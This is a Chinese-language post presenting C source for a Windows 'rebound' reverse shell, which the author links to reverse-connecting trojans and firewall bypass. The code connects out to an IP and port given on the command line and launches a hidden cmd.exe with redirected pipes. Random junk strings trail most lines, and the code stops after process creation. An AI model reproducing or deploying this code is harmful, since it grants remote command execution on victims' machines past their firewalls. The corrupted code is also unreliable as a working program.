这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >#G%2Vp
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/* ============================== xv]z>4@z,
Rebound port in Windows NT [7@blU
By wind,2006/7 /]U$OP*0
===============================*/ ,l>w9?0Z
#include E'WXi!>7p
#include MJ:c";KCq0
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#pragma comment(lib,"wsock32.lib") mE<_oRM)
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void OutputShell(); iV{_?f1jo
SOCKET sClient; .V;,6Vq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fV"Y/9}(
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void main(int argc,char **argv) t1Ts!Q2
{ d'_q9uf'
WSADATA stWsaData; l+Wux$6U
int nRet; $wM..ee
SOCKADDR_IN stSaiClient,stSaiServer; (:bf m
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if(argc != 3) 0fqcPi
{ XC3)#D#HGh
printf("Useage:\n\rRebound DestIP DestPort\n"); o9xc$hX}
return; *ra)u-
} ]t0o%w
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WSAStartup(MAKEWORD(2,2),&stWsaData); li*S^uSF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =zn'0g,J4
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stSaiClient.sin_family = AF_INET; ,l&?%H9q
stSaiClient.sin_port = htons(0); P@O_MT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s,_+5ukv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %B@NW2ZQ[
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printf("Bind Socket Failed!\n"); /g u
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return; ?xaUWD
} ;2kQ)Bq"
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stSaiServer.sin_family = AF_INET; 12^uu)6Xm,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <Y)14w%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oywPPVxj
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ranem0KQ)]
{ phDIUhL$z
printf("Connect Error!"); 1sXCu|\q
return; "==c
} Xq1#rK(
OutputShell(); |)7K(R)(=
} !>Nlp,r&~
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void OutputShell() t]&.'n,
{ j)@W1I]2#
char szBuff[1024]; CAc]SxLh
SECURITY_ATTRIBUTES stSecurityAttributes; A ON
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OSVERSIONINFO stOsversionInfo; >)K3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !/}4_s`,
STARTUPINFO stStartupInfo; 6Jgl"Jw8
char *szShell; j"jssbu}
PROCESS_INFORMATION stProcessInformation; 8J,^O04<
unsigned long lBytesRead; `O7vPE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]:f.="
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'N{1b_v?
stSecurityAttributes.lpSecurityDescriptor = 0; <);j5)/
stSecurityAttributes.bInheritHandle = TRUE; Uv59 XF$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u/W{JPlL
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \0|x<~#j'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1'~+.92Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4s
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stStartupInfo.wShowWindow = SW_HIDE; ?Z|y-4 &>
stStartupInfo.hStdInput = hReadPipe; _CNXyFw.7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u4lM>(3Y}
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GetVersionEx(&stOsversionInfo); (B` NnL$
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switch(stOsversionInfo.dwPlatformId) 5JOfJ$(n
{ :/6:&7s
case 1: p cD}SY
szShell = "command.com"; L@MCB-@V
break; lsV>sW4]Z
default:
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szShell = "cmd.exe"; 9ZOQNN<ex
break; _
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} kYS#P(1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =)y$&Y